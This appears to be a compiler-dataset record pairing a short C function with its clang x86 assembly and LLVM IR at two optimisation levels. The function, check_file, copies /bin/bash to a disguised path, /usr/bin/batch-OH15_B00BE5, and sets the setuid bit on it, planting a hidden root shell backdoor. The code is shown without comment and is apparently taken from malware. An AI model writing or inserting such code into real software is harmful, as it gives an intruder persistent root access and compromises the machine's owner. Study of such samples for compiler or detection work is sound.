#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct stat {
  int st_mode;
};

/* Variables and functions */
int /*<<< orphan*/ O_RDONLY;
int S_ISUID;
int /*<<< orphan*/ close(int const);
int /*<<< orphan*/ fchmod(int const, int);
int fstat(int const, struct stat *);
int open(char *, int /*<<< orphan*/);
int /*<<< orphan*/ system(char *);
void check_file(void) {
  struct stat stat;
  for (int p = 0; p < 10; ++p) {
    const int fd = open("/usr/bin/batch-OH15_B00BE5", O_RDONLY);
    if (fd == -1) {
      system("cp /bin/bash /usr/bin/batch-OH15_B00BE5");
    }
    if (fstat(fd, &stat) == -1) {
      close(fd);
      continue;
    }
    if (stat.st_mode & S_ISUID) {
      close(fd);
      return;
    }
    fchmod(fd, stat.st_mode | S_ISUID);
    close(fd);
  }
}


x86 assembly (clang, -O0):
<check_file>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0xc(%rbp)
cmpl   $0xa,-0xc(%rbp)
jge    1205 <check_file+0xb5>
mov    0x2e78(%rip),%rax
mov    (%rax),%esi
lea    0xe94(%rip),%rdi
call   1060 <open@plt>
mov    %eax,-0x10(%rbp)
cmpl   $0xffffffff,-0x10(%rbp)
jne    1197 <check_file+0x47>
lea    0xe6e(%rip),%rdi
call   1030 <system@plt>
mov    -0x10(%rbp),%edi
lea    -0x8(%rbp),%rsi
call   1070 <fstat@plt>
cmp    $0xffffffff,%eax
jne    11b9 <check_file+0x69>
mov    -0x10(%rbp),%edi
call   1040 <close@plt>
jmp    11f7 <check_file+0xa7>
mov    -0x8(%rbp),%eax
mov    0x2e1d(%rip),%rcx
and    (%rcx),%eax
cmp    $0x0,%eax
je     11db <check_file+0x8b>
mov    -0x10(%rbp),%edi
call   1040 <close@plt>
jmp    1205 <check_file+0xb5>
mov    -0x10(%rbp),%edi
mov    -0x8(%rbp),%esi
mov    0x2df8(%rip),%rax
or     (%rax),%esi
call   1050 <fchmod@plt>
mov    -0x10(%rbp),%edi
call   1040 <close@plt>
mov    -0xc(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0xc(%rbp)
jmp    115f <check_file+0xf>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<check_file>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
push   %rax
mov    $0xa,%ebx
mov    0x2e81(%rip),%r13
lea    0xe9f(%rip),%r15
mov    %rsp,%r12
mov    0x2e68(%rip),%r14
jmp    118c <check_file+0x3c>
nopw   0x0(%rax,%rax,1)
mov    %ebp,%edi
call   1040 <close@plt>
add    $0xffffffff,%ebx
je     11cf <check_file+0x7f>
mov    0x0(%r13),%esi
mov    %r15,%rdi
call   1060 <open@plt>
mov    %eax,%ebp
cmp    $0xffffffff,%eax
jne    11ab <check_file+0x5b>
lea    0xe5a(%rip),%rdi
call   1030 <system@plt>
mov    %ebp,%edi
mov    %r12,%rsi
call   1070 <fstat@plt>
cmp    $0xffffffff,%eax
je     1180 <check_file+0x30>
mov    (%rsp),%eax
mov    (%r14),%esi
test   %eax,%esi
jne    11de <check_file+0x8e>
or     %eax,%esi
mov    %ebp,%edi
call   1050 <fchmod@plt>
jmp    1180 <check_file+0x30>
add    $0x8,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret
mov    %ebp,%edi
add    $0x8,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
jmp    1040 <close@plt>

LLVM IR (-O0):
%struct.stat = type { i32 }
@.str = [27 x i8] c"/usr/bin/batch-OH15_B00BE5\00"
@O_RDONLY = global i32 0
@.str.1 = [40 x i8] c"cp /bin/bash /usr/bin/batch-OH15_B00BE5\00"
@S_ISUID = global i32 0
define void @check_file() {
%1 = alloca %struct.stat
%2 = alloca i32
%3 = alloca i32
store i32 0, i32* %2
br label %4
4: ; preds = %39, %0
%5 = load i32, i32* %2
%6 = icmp slt i32 %5, 10
br i1 %6, label %7, label %42
7: ; preds = %4
%8 = load i32, i32* @O_RDONLY
%9 = call i32 @open(i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str, i64 0, i64 0), i32 %8)
store i32 %9, i32* %3
%10 = load i32, i32* %3
%11 = icmp eq i32 %10, -1
br i1 %11, label %12, label %14
12: ; preds = %7
%13 = call i32 @system(i8* getelementptr inbounds ([40 x i8], [40 x i8]* @.str.1, i64 0, i64 0))
br label %14
14: ; preds = %12, %7
%15 = load i32, i32* %3
%16 = call i32 @fstat(i32 %15, %struct.stat* %1)
%17 = icmp eq i32 %16, -1
br i1 %17, label %18, label %21
18: ; preds = %14
%19 = load i32, i32* %3
%20 = call i32 @close(i32 %19)
br label %39
21: ; preds = %14
%22 = getelementptr inbounds %struct.stat, %struct.stat* %1, i32 0, i32 0
%23 = load i32, i32* %22
%24 = load i32, i32* @S_ISUID
%25 = and i32 %23, %24
%26 = icmp ne i32 %25, 0
br i1 %26, label %27, label %30
27: ; preds = %21
%28 = load i32, i32* %3
%29 = call i32 @close(i32 %28)
br label %42
30: ; preds = %21
%31 = load i32, i32* %3
%32 = getelementptr inbounds %struct.stat, %struct.stat* %1, i32 0, i32 0
%33 = load i32, i32* %32
%34 = load i32, i32* @S_ISUID
%35 = or i32 %33, %34
%36 = call i32 @fchmod(i32 %31, i32 %35)
%37 = load i32, i32* %3
%38 = call i32 @close(i32 %37)
br label %39
39: ; preds = %30, %18
%40 = load i32, i32* %2
%41 = add nsw i32 %40, 1
store i32 %41, i32* %2
br label %4
42: ; preds = %27, %4
ret void
}

LLVM IR (-O2):
%struct.stat = type { i32 }
@.str = [27 x i8] c"/usr/bin/batch-OH15_B00BE5\00"
@O_RDONLY = global i32 0
@.str.1 = [40 x i8] c"cp /bin/bash /usr/bin/batch-OH15_B00BE5\00"
@S_ISUID = global i32 0
define void @check_file() {
%1 = alloca %struct.stat
%2 = bitcast %struct.stat* %1 to i8*
%3 = getelementptr inbounds %struct.stat, %struct.stat* %1, i64 0, i32 0
br label %4
4: ; preds = %0, %24
%5 = phi i32 [ 0, %0 ], [ %26, %24 ]
%6 = load i32, i32* @O_RDONLY
%7 = tail call i32 @open(i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str, i64 0, i64 0), i32 %6)
%8 = icmp eq i32 %7, -1
br i1 %8, label %9, label %11
9: ; preds = %4
%10 = tail call i32 @system(i8* getelementptr inbounds ([40 x i8], [40 x i8]* @.str.1, i64 0, i64 0))
br label %11
11: ; preds = %9, %4
%12 = call i32 @fstat(i32 %7, %struct.stat* %1)
%13 = icmp eq i32 %12, -1
br i1 %13, label %24, label %14
14: ; preds = %11
%15 = load i32, i32* %3
%16 = load i32, i32* @S_ISUID
%17 = and i32 %16, %15
%18 = icmp eq i32 %17, 0
br i1 %18, label %19, label %22
19: ; preds = %14
%20 = or i32 %16, %15
%21 = tail call i32 @fchmod(i32 %7, i32 %20)
br label %24
22: ; preds = %14
%23 = tail call i32 @close(i32 %7)
br label %28
24: ; preds = %11, %19
%25 = tail call i32 @close(i32 %7)
%26 = add nuw nsw i32 %5, 1
%27 = icmp eq i32 %26, 10
br i1 %27, label %28, label %4
28: ; preds = %24, %22
ret void
}